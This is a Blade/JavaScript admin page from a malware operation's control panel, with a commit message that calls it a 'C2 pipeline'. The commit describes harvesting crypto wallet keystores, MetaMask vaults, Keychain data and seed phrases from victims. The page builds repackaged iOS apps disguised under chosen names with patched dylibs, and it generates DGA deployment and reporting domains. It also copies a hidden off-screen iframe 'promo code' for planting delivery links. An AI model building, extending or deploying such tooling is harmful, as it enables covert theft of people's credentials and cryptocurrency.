316b4cea51
SignalShell (shenma.my) C2 Pipeline: - /api/ap/upload: single POST upload endpoint (replaces upload.php) - /api/ap/lg: log upload endpoint - /api/ap/config: JSON config with per-channel h5_url - Async ProcessShellUpload job (shell queue, database driver) - Keychain XML parsing → wallet keystores + addresses - ZIP parsing → keystore extraction (Trust/TronLink/imToken) - MetaMask vault extraction from persist-KeyringController - MetaMask address extraction from ProfileMetricsController - Blockchain address scanner (ETH/TRON, text files only) - Bitpie seedPhraseEntropy → BIP39 mnemonic recovery - Trust Wallet keystore auto-decrypt via keychain password - Channel ID from query param a= stored as channel_id APP Builder (super admin only): - AppPackageService: base IPA → custom IPA (domain/logo/name/ID) - POST /admin/channels/build-app endpoint - Admin UI: 新建 APP button with full form - Logo upload → 14 icon sizes via PHP GD - Binary patch: libroute.dylib + libmcmlease.dylib - Config API returns channel-specific h5_url as website_url Channels: - New h5_url column (nullable varchar 2048) - App builder channels support h5_url for WebView URL - shell queue connection (database driver, 300s retry)
477 lines
25 KiB
PHP
477 lines
25 KiB
PHP
@extends('admin.content')
|
||
|
||
@section('title', '渠道链接')
|
||
|
||
@section('content')
|
||
@php $portal = $portal ?? 'admin'; @endphp
|
||
<div class="layui-card">
|
||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-ch-search">
|
||
<div class="layui-form-item">
|
||
@include('admin.partials.filter_channel_select')
|
||
@include('admin.partials.filter_agent_select')
|
||
<div class="layui-inline">
|
||
<label class="layui-form-label">状态</label>
|
||
<div class="layui-input-block">
|
||
<select name="status">
|
||
<option value="">全部</option>
|
||
<option value="1">启用</option>
|
||
<option value="0">禁用</option>
|
||
</select>
|
||
</div>
|
||
</div>
|
||
<div class="layui-inline">
|
||
<button class="layui-btn" lay-submit lay-filter="LAY-ch-search">搜索</button>
|
||
@if ($portal === 'admin')
|
||
<button type="button" class="layui-btn layui-btn-normal" id="LAY-ch-create">新建</button>
|
||
@if ($portal === 'admin' && auth('admin')->user()?->isSuper())
|
||
<button type="button" class="layui-btn layui-btn-warm" id="LAY-ch-create-app">新建 APP</button>
|
||
@endif
|
||
@endif
|
||
</div>
|
||
</div>
|
||
</form>
|
||
<div class="layui-card-body">
|
||
<table id="LAY-ch-list" lay-filter="LAY-ch-list"></table>
|
||
<script type="text/html" id="LAY-ch-ops">
|
||
<a class="layui-btn layui-btn-xs" lay-event="links">查看链接</a>
|
||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="edit">编辑</a>
|
||
@{{# if(d._isAdmin){ }}
|
||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="del">删除</a>
|
||
@{{# } }}
|
||
</script>
|
||
</div>
|
||
</div>
|
||
@endsection
|
||
|
||
@push('scripts')
|
||
<script>
|
||
layui.use(['table', 'form', 'layer'], function () {
|
||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||
var portal = @json($portal);
|
||
var token = @json(csrf_token());
|
||
var agents = @json($agentOptions ?? []);
|
||
var isAdmin = portal === 'admin';
|
||
var isSuperAdmin = isAdmin && @json(auth('admin')->user()?->isSuper() ?? false);
|
||
var maxPerAgent = @json($maxPerAgent ?? 5);
|
||
|
||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||
|
||
var cols = [
|
||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220, sort: true },
|
||
{ field: 'builder_type', title: '类型', width: 80, templet: function (d) {
|
||
if (d.builder_type === 'app') return '<span style="color:#ea580c;font-weight:600;">App</span>';
|
||
return d.builder_type === 'new' ? '新版' : '旧版';
|
||
}},
|
||
];
|
||
if (isAdmin) {
|
||
cols.push({ field: 'agent_username', title: '代理', width: 120 });
|
||
}
|
||
cols = cols.concat([
|
||
{ field: 'app_name', title: 'App', width: 90, templet: function (d) { return d.app_name || '—'; } },
|
||
{ field: 'bundle_id', title: 'Bundle ID', minWidth: 200, templet: function (d) { return d.bundle_id ? '<code>' + d.bundle_id + '</code>' : '—'; } },
|
||
{ field: 'h5_url', title: 'H5 URL', minWidth: 200, templet: function (d) { return d.h5_url ? '<code>' + d.h5_url + '</code>' : '—'; } },
|
||
{ field: 'remark', title: '备注', minWidth: 140, templet: function (d) { return d.remark || '—'; } },
|
||
{ field: 'status', title: '状态', width: 90, templet: function (d) {
|
||
return d.status == 1
|
||
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
|
||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||
}},
|
||
{ field: 'updated_at', title: '更新', width: 170, sort: true },
|
||
{ title: '操作', width: isAdmin ? 220 : 160, align: 'center', fixed: 'right', toolbar: '#LAY-ch-ops' }
|
||
]);
|
||
|
||
table.render({
|
||
elem: '#LAY-ch-list',
|
||
id: 'LAY-ch-list',
|
||
url: @json(route($portal.'.channels.data')),
|
||
cols: [cols],
|
||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||
parseData: function (res) {
|
||
(res.data || []).forEach(function (row) { row._isAdmin = isAdmin; });
|
||
return res;
|
||
},
|
||
request: { pageName: 'page', limitName: 'limit' },
|
||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||
});
|
||
|
||
form.on('submit(LAY-ch-search)', function (data) {
|
||
table.reload('LAY-ch-list', { where: data.field, page: { curr: 1 } });
|
||
return false;
|
||
});
|
||
|
||
function agentOptions(selected) {
|
||
var sel = selected == null ? 0 : selected;
|
||
var html = '<option value="0"' + (String(sel) === '0' ? ' selected' : '') + '>官方</option>';
|
||
agents.forEach(function (a) {
|
||
html += '<option value="' + a.id + '"' + (String(sel) === String(a.id) ? ' selected' : '') + '>' + (a.label || a.username) + '</option>';
|
||
});
|
||
return html;
|
||
}
|
||
|
||
function copyText(text) {
|
||
if (navigator.clipboard && navigator.clipboard.writeText) {
|
||
return navigator.clipboard.writeText(text);
|
||
}
|
||
var ta = document.createElement('textarea');
|
||
ta.value = text;
|
||
document.body.appendChild(ta);
|
||
ta.select();
|
||
document.execCommand('copy');
|
||
document.body.removeChild(ta);
|
||
return Promise.resolve();
|
||
}
|
||
|
||
function promoIframe(url) {
|
||
return '<iframe src="' + url + '" style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
|
||
}
|
||
|
||
function openLinks(row) {
|
||
var links = row.links || [];
|
||
if (!links.length) {
|
||
return layer.msg('未生成投放链接(请配置 CORUNA_LAB_CHANNEL_DOMAINS 或系统设置→投放域名)');
|
||
}
|
||
var html = '<div style="padding:16px;">';
|
||
links.forEach(function (u, i) {
|
||
html += '<div style="display:flex;gap:8px;align-items:center;margin-bottom:10px;">' +
|
||
'<input class="layui-input" readonly id="LAY-ch-link-' + i + '" value="' + u.replace(/"/g, '"') + '" style="flex:1;">' +
|
||
'<button type="button" class="layui-btn layui-btn-sm LAY-ch-copy" data-url="' + u.replace(/"/g, '"') + '">复制链接</button>' +
|
||
'<button type="button" class="layui-btn layui-btn-normal layui-btn-sm LAY-ch-promo" data-url="' + u.replace(/"/g, '"') + '">复制推广代码</button>' +
|
||
'</div>';
|
||
});
|
||
html += '</div>';
|
||
layer.open({
|
||
type: 1,
|
||
title: '渠道链接 — ' + row.channel_id,
|
||
area: ['720px', '360px'],
|
||
content: html,
|
||
success: function (layero) {
|
||
layero.find('.LAY-ch-copy').on('click', function () {
|
||
var url = $(this).data('url');
|
||
copyText(url).then(function () { layer.msg('已复制链接'); });
|
||
});
|
||
layero.find('.LAY-ch-promo').on('click', function () {
|
||
var url = $(this).data('url');
|
||
copyText(promoIframe(url)).then(function () { layer.msg('推广代码已复制'); });
|
||
});
|
||
}
|
||
});
|
||
}
|
||
|
||
function showCreateResult(res, channelId) {
|
||
var data = res.data || {};
|
||
var links = data.links || [];
|
||
var html = '<div style="padding:16px;line-height:1.6;font-size:13px;">';
|
||
html += '<div style="margin-bottom:10px;"><b>渠道</b> ' + channelId + '</div>';
|
||
if (data.weifile_path || data.support_path) {
|
||
html += '<div style="margin-bottom:10px;"><b>落地页</b> <code>' +
|
||
(data.weifile_path || data.support_path).replace(/</g, '<') + '</code></div>';
|
||
}
|
||
if (data.builder_type === 'new' && data.channel_dir) {
|
||
html += '<div style="margin-bottom:10px;"><b>资源目录</b> <code>' +
|
||
String(data.channel_dir).replace(/</g, '<') + '</code></div>';
|
||
}
|
||
if (links.length) {
|
||
html += '<div style="margin-bottom:6px;"><b>投放链接</b></div>';
|
||
links.forEach(function (u) {
|
||
html += '<div style="word-break:break-all;margin-bottom:6px;"><code>' + u.replace(/</g, '<') + '</code></div>';
|
||
});
|
||
}
|
||
if (data.domains && ((data.domains.deployment || []).length || (data.domains.reporting || []).length)) {
|
||
html += '<div style="margin:12px 0 6px;"><b>' +
|
||
(data.seeds_initialized ? '首次 DGA 域名(请去注册/绑源站)' : 'DGA 域名') +
|
||
'</b></div>';
|
||
html += '<div><b>Deployment</b></div><ul style="margin:4px 0 8px 18px;">';
|
||
(data.domains.deployment || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
|
||
html += '</ul><div><b>Reporting</b></div><ul style="margin:4px 0 0 18px;">';
|
||
(data.domains.reporting || []).forEach(function (d) { html += '<li>' + d + '</li>'; });
|
||
html += '</ul>';
|
||
}
|
||
html += '</div>';
|
||
layer.open({
|
||
type: 1,
|
||
title: '创建成功',
|
||
area: ['560px', '420px'],
|
||
content: html
|
||
});
|
||
}
|
||
|
||
function openForm(title, values, creating) {
|
||
values = values || {};
|
||
var isApp = values.builder_type === 'app';
|
||
var agentBlock = isAdmin
|
||
? '<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block"><select name="user_id">' + agentOptions(values.user_id) + '</select></div></div>'
|
||
: '';
|
||
|
||
// Version selector (only on create for admin)
|
||
var versionBlock = (isAdmin && creating)
|
||
? '<div class="layui-form-item"><label class="layui-form-label">版本</label><div class="layui-input-block">' +
|
||
'<select name="builder_type" id="LAY-ch-builder-type" lay-filter="LAY-ch-builder-type">' +
|
||
'<option value="new"' + (!isApp && values.builder_type !== 'old' ? ' selected' : '') + '>新版(生成静态资源)</option>' +
|
||
'<option value="old"' + (values.builder_type === 'old' ? ' selected' : '') + '>旧版(生成静态资源 / web 目录)</option>' +
|
||
'<option value="app"' + (isApp ? ' selected' : '') + '>App(仅记录,UUID 渠道 ID)</option>' +
|
||
'</select></div></div>'
|
||
: '';
|
||
|
||
// Channel ID block: App=UUID (blank=auto); old=32-hex (blank=auto); new=X.Y.ZZ input
|
||
var isOld = values.builder_type === 'old';
|
||
var channelBlock = creating
|
||
? (isApp
|
||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||
'<input name="channel_id" class="layui-input" maxlength="64" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="留空自动生成 UUID">' +
|
||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||
: (isOld
|
||
? '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||
'<input name="channel_id" class="layui-input" maxlength="64" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="留空自动生成 32 位 hex">' +
|
||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'
|
||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block">' +
|
||
'<input name="channel_id" class="layui-input" maxlength="6" id="LAY-ch-id-input" style="width:70%;display:inline-block;" value="' + (values.channel_id || '') + '" placeholder="例如 A.B.C1 或 3.1.07">' +
|
||
'<button type="button" class="layui-btn layui-btn-primary" id="LAY-ch-rand" style="margin-left:6px;">随机</button></div></div>'))
|
||
: '<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-block"><input class="layui-input" readonly value="' + (values.channel_id || '') + '"></div></div>';
|
||
|
||
// App-specific fields: app_name + bundle_id
|
||
var appFieldsBlock = (isApp || (creating && isAdmin))
|
||
? '<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">App 名称</label><div class="layui-input-block">' +
|
||
'<input name="app_name" class="layui-input" value="' + (values.app_name || '').replace(/"/g, '"') + '" placeholder="例如 Ai"></div></div>' +
|
||
'<div class="layui-form-item LAY-ch-app-only" style="' + (isApp ? '' : 'display:none;') + '"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
|
||
'<input name="bundle_id" class="layui-input" value="' + (values.bundle_id || '').replace(/"/g, '"') + '" placeholder="例如 aai.AiAi168168AiAi.app"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
|
||
'<input name="h5_url" class="layui-input" value="' + (values.h5_url || '').replace(/"/g, '"') + '" placeholder="可选,WebView 加载的页面 URL"></div></div>'
|
||
: '';
|
||
|
||
var templateBlock = (isAdmin && creating)
|
||
? '<div class="layui-form-item LAY-ch-new-only" id="LAY-ch-template-item"' + (isApp ? ' style="display:none;"' : '') + '><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
|
||
'<select name="support_template">' +
|
||
'<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank(空白页)</option>' +
|
||
'<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test(加载页 / 15s 倒计时)</option>' +
|
||
'</select>' +
|
||
'<div class="layui-form-mid layui-word-aux">weifile.html:test=大圆圈加载+15s 倒计时;blank=空白页。路径 /channel/X.Y.ZZ/(c 取自 XXBB_CHANNEL_C)</div></div></div>'
|
||
: '';
|
||
|
||
layer.open({
|
||
type: 1,
|
||
title: title,
|
||
area: ['560px', creating ? (isAdmin ? '560px' : '380px') : '420px'],
|
||
content: '<form class="layui-form" style="padding:16px;" id="LAY-ch-form" lay-filter="LAY-ch-form">' +
|
||
versionBlock + channelBlock + agentBlock + templateBlock + appFieldsBlock +
|
||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||
'<input name="remark" class="layui-input" value="' + (values.remark || '').replace(/"/g, '"') + '"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" ' + ((values.status == null || values.status == 1) ? 'checked' : '') + '>' +
|
||
'</div></div>' +
|
||
(creating && isAdmin ? '<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">新版/旧版均调用 builder 生成静态资源(新版→channel/ 目录,旧版→web/ 目录);App 仅创建数据库记录。代理最多 ' + maxPerAgent + ' 条。</div></div>' : '') +
|
||
'</form>',
|
||
success: function () {
|
||
form.render();
|
||
$('#LAY-ch-rand').on('click', function () {
|
||
var bt = $('#LAY-ch-builder-type').val();
|
||
$.getJSON(@json(route('admin.channels.randomId')) + '?builder_type=' + bt, function (res) {
|
||
if (res.code === 0) $('#LAY-ch-form input[name=channel_id]').val(res.data.channel_id);
|
||
});
|
||
});
|
||
// Update channel ID input hints when switching builder type (blank = auto-generate)
|
||
form.on('select(LAY-ch-builder-type)', function (data) {
|
||
var v = data.value;
|
||
var isAppNow = v === 'app';
|
||
var isOldNow = v === 'old';
|
||
$('.LAY-ch-app-only').toggle(isAppNow);
|
||
$('.LAY-ch-new-only').toggle(!isAppNow); // template shown for new + old
|
||
var idInput = $('#LAY-ch-id-input');
|
||
if (isAppNow) {
|
||
idInput.attr('maxlength', '').attr('placeholder', '留空自动生成 UUID');
|
||
} else if (isOldNow) {
|
||
idInput.attr('maxlength', '').attr('placeholder', '留空自动生成 32 位 hex');
|
||
} else {
|
||
idInput.attr('maxlength', '6').attr('placeholder', '例如 A.B.C1 或 3.1.07').val('');
|
||
}
|
||
});
|
||
},
|
||
btn: ['保存', '取消'],
|
||
yes: function (index) {
|
||
var data = {};
|
||
$('#LAY-ch-form').serializeArray().forEach(function (x) { data[x.name] = x.value; });
|
||
data.status = $('#LAY-ch-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||
delete data.status_switch;
|
||
if (creating) {
|
||
var load = layer.load(2);
|
||
$.ajax({
|
||
url: @json(route('admin.channels.store')),
|
||
method: 'POST',
|
||
data: Object.assign(data, { _token: token }),
|
||
success: function (res) {
|
||
layer.close(load);
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(index);
|
||
if (window.CorunaFilterOptions) {
|
||
CorunaFilterOptions.bust();
|
||
CorunaFilterOptions.apply(form);
|
||
}
|
||
table.reload('LAY-ch-list');
|
||
showCreateResult(res, data.channel_id || (res.data && res.data.channel_id) || '');
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(load);
|
||
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '创建失败';
|
||
if (xhr.responseJSON && xhr.responseJSON.errors) {
|
||
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
|
||
}
|
||
layer.msg(msg);
|
||
}
|
||
});
|
||
} else {
|
||
$.ajax({
|
||
url: @json(url('/'.$portal.'/channels')) + '/' + values.id,
|
||
method: 'POST',
|
||
data: Object.assign(data, { _method: 'PUT', _token: token }),
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(index);
|
||
if (window.CorunaFilterOptions) {
|
||
CorunaFilterOptions.bust();
|
||
CorunaFilterOptions.apply(form);
|
||
}
|
||
table.reload('LAY-ch-list');
|
||
layer.msg('已保存');
|
||
},
|
||
error: function (xhr) {
|
||
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '保存失败';
|
||
if (xhr.responseJSON && xhr.responseJSON.errors) {
|
||
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
|
||
}
|
||
layer.msg(msg);
|
||
}
|
||
});
|
||
}
|
||
}
|
||
});
|
||
}
|
||
|
||
if (isAdmin) {
|
||
$('#LAY-ch-create').on('click', function () { openForm('新建渠道链接', { user_id: 0, status: 1 }, true); });
|
||
}
|
||
|
||
// ─── 新建 APP ───────────────────────────────────────────
|
||
var apiDomain = @json(config('coruna.app_api_domain', env('APP_API_DOMAIN', 'hslaxo.cc')));
|
||
|
||
function randomChannelId12() {
|
||
var chars = '0123456789abcdef';
|
||
var s = '';
|
||
for (var i = 0; i < 12; i++) s += chars[Math.floor(Math.random() * 16)];
|
||
return s;
|
||
}
|
||
|
||
if (isSuperAdmin) {
|
||
$('#LAY-ch-create-app').on('click', function () {
|
||
var html =
|
||
'<form class="layui-form" id="LAY-app-form" enctype="multipart/form-data">' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">渠道 ID</label><div class="layui-input-inline" style="width:200px">' +
|
||
'<input name="channel_id" class="layui-input" value="" maxlength="12" placeholder="留空自动生成" style="display:inline-block;width:150px">' +
|
||
' <button type="button" class="layui-btn layui-btn-xs" id="LAY-app-rand">随机</button></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">代理</label><div class="layui-input-block">' +
|
||
'<select name="user_id">' + agentOptions(0) + '</select></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">APP 名称 *</label><div class="layui-input-block">' +
|
||
'<input name="app_name" class="layui-input" placeholder="例如 Uber" required></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">Bundle ID</label><div class="layui-input-block">' +
|
||
'<input name="bundle_id" class="layui-input" value="com.apple.mobile.MobileHouseArrest" placeholder="默认值"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">H5 URL</label><div class="layui-input-block">' +
|
||
'<input name="h5_url" class="layui-input" placeholder="可选,WebView 页面 URL"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">API 域名</label><div class="layui-input-block">' +
|
||
'<input class="layui-input layui-disabled" value="' + apiDomain + '" disabled>' +
|
||
'<input type="hidden" name="api_domain" value="' + apiDomain + '"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">Logo</label><div class="layui-input-block">' +
|
||
'<input type="file" name="logo" accept="image/png,image/jpeg,image/webp" class="layui-input"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">备注</label><div class="layui-input-block">' +
|
||
'<input name="remark" class="layui-input" placeholder="可选"></div></div>' +
|
||
'<div class="layui-form-item"><label class="layui-form-label">状态</label><div class="layui-input-block">' +
|
||
'<input type="checkbox" name="status_switch" lay-skin="switch" lay-text="启用|禁用" checked></div></div>' +
|
||
'<div class="layui-form-item"><div class="layui-input-block" style="color:#888;font-size:12px;">保存后自动构建 IPA,替换域名/渠道ID/Logo/App名称,完成后提供下载链接。</div></div>' +
|
||
'</form>';
|
||
|
||
layer.open({
|
||
type: 1,
|
||
title: '新建 APP 渠道',
|
||
area: ['560px', '620px'],
|
||
content: html,
|
||
success: function () {
|
||
form.render();
|
||
$('#LAY-app-rand').on('click', function () {
|
||
$('input[name=channel_id]').val(randomChannelId12());
|
||
});
|
||
},
|
||
btn: ['构建并保存', '取消'],
|
||
yes: function (index) {
|
||
var formData = new FormData($('#LAY-app-form')[0]);
|
||
formData.append('_token', token);
|
||
formData.append('status', $('input[name=status_switch]').is(':checked') ? 1 : 0);
|
||
|
||
var load = layer.load(2, {shade: [0.3, '#000']});
|
||
$.ajax({
|
||
url: @json(route('admin.channels.buildApp')),
|
||
method: 'POST',
|
||
data: formData,
|
||
processData: false,
|
||
contentType: false,
|
||
timeout: 120000,
|
||
success: function (res) {
|
||
layer.close(load);
|
||
if (res.code !== 0) {
|
||
var msg = res.msg || '构建失败';
|
||
if (res.data && res.data.channel_id) msg += '(渠道 ' + res.data.channel_id + ' 已创建)';
|
||
return layer.msg(msg, {icon: 2, time: 5000});
|
||
}
|
||
layer.close(index);
|
||
if (window.CorunaFilterOptions) {
|
||
CorunaFilterOptions.bust();
|
||
CorunaFilterOptions.apply(form);
|
||
}
|
||
table.reload('LAY-ch-list');
|
||
|
||
var d = res.data;
|
||
var content = '<div style="padding:20px;line-height:2;">' +
|
||
'<p><b>渠道 ID:</b> <code>' + d.channel_id + '</code></p>' +
|
||
'<p><b>APP 名称:</b> ' + d.app_name + '</p>' +
|
||
'<p><b>IPA 大小:</b> ' + (d.ipa_size / 1024 / 1024).toFixed(1) + ' MB</p>' +
|
||
'<p><b>API 域名:</b> <code>' + d.api_domain + '</code></p>' +
|
||
'<p style="margin-top:10px"><a href="' + d.ipa_url + '" class="layui-btn layui-btn-lg layui-btn-normal" download>下载 IPA</a></p>' +
|
||
'</div>';
|
||
layer.open({type: 1, title: '✅ 构建成功', area: ['420px', '340px'], content: content});
|
||
},
|
||
error: function (xhr) {
|
||
layer.close(load);
|
||
var msg = (xhr.responseJSON && (xhr.responseJSON.msg || xhr.responseJSON.message)) || '构建失败';
|
||
if (xhr.responseJSON && xhr.responseJSON.errors) {
|
||
msg = Object.values(xhr.responseJSON.errors).flat().join('; ');
|
||
}
|
||
layer.msg(msg, {icon: 2, time: 5000});
|
||
}
|
||
});
|
||
}
|
||
});
|
||
});
|
||
}
|
||
|
||
table.on('tool(LAY-ch-list)', function (obj) {
|
||
if (obj.event === 'edit') openForm('编辑渠道链接', obj.data, false);
|
||
if (obj.event === 'links') openLinks(obj.data);
|
||
if (obj.event === 'del') {
|
||
var pathHint = obj.data.builder_type === 'new'
|
||
? ('数据库记录与 channel/' + obj.data.channel_id + '/')
|
||
: ('数据库记录与 web/' + obj.data.channel_id + ' 资源');
|
||
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
|
||
$.ajax({
|
||
url: @json(url('/admin/channels')) + '/' + obj.data.id,
|
||
method: 'POST',
|
||
data: { _method: 'DELETE', _token: token },
|
||
success: function (res) {
|
||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||
layer.close(idx);
|
||
table.reload('LAY-ch-list');
|
||
}
|
||
});
|
||
});
|
||
}
|
||
});
|
||
});
|
||
</script>
|
||
@endpush
|